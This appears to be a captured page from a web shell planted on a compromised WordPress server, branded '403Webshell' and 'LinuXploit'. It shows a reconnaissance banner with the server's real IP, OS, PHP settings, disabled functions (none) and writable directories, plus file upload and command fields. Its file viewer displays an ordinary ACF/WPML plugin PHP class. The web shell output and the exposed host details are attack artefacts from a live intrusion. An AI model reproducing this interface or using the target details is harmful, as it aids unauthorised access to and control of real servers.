403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/d2m/sofident_cz/wp-content/plugins/acfml/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/d2m/sofident_cz/wp-content/plugins/acfml/classes//class-wpml-acf-field.php
<?php

abstract class WPML_ACF_Field {
	public $meta_value;
	public $target_lang;
	public $meta_data;
	public $ids_object;
	public $related_acf_field_value;


	public function __construct($processed_data, $ids = null) {
		$this->meta_value = $processed_data->meta_value;
		$this->target_lang = $processed_data->target_lang;
		$this->meta_data = $processed_data->meta_data;
		$this->related_acf_field_value = $processed_data->related_acf_field_value;

		$this->ids_object = $ids;

	}
	
	public function convert_ids() {
		return $this->ids_object->convert($this);
	}

	public function has_element_with_display_translated($has_element_with_display_translated, $field) {
		global $sitepress_settings;

		if (isset($field['post_type']) && is_array($field['post_type'])) {
			foreach ($field['post_type'] as $type) {
				if (isset( $sitepress_settings['custom_posts_sync_option'][$type] ) && $sitepress_settings['custom_posts_sync_option'][$type] == 2) {
					$has_element_with_display_translated = true;
					break;
				}
			}
		}

		return $has_element_with_display_translated;
	}

	abstract function field_type();
}




Youez - 2016 - github.com/yon3zu
LinuXploit